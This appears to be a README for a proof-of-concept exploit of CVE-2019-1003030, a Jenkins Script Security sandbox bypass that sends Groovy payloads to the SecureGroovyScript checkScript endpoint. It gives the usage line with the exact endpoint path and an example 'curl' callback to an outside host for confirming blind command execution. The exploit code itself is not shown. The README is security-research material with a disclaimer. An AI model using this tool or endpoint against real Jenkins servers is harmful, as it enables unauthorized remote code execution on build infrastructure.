PoC-CVE-2019-1003030

Jenkins 2.63 Script Security Sandbox Bypass PoC

This project automates the creation and delivery of Groovy payloads to the Jenkins SecureGroovyScript validation endpoint used by Jenkins 2.63. The tool supports both interactive and one-shot execution. the exploit doesn't return output so you are going to have to do some validations like curl your AP to make sure it works.

The tool supports both:

• Interactive command mode
• Single command execution
• GET and POST requests
• Optional Jenkins CSRF crumb support

Disclaimer

This project is intended only for security research, CTFs, lab environments, and authorized penetration testing. Do not use it against systems without explicit permission.

usage: Poc.py -u http://10.10.10.10:8080/  [-c 'curl http://10.10.10.9/callback'] [-X POST] [-p /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript]

PoC for sandbox bypass for jenkins 2.63

options:
  -h, --help            show this help message and exit
  -u, --url URL         ip of target
  -X, --method METHOD   post or get
  -b, --breadcrum BREADCRUM
                        optional jenkins crumb string
  -c, --command COMMAND
                        command to run on jenkins, not output expected
  -p, --path PATH       path to the script, you might prepend more

Omit the -c option to enter an interactive prompt. example below sadly there is no output so as long as you arent getting a 404 it should be working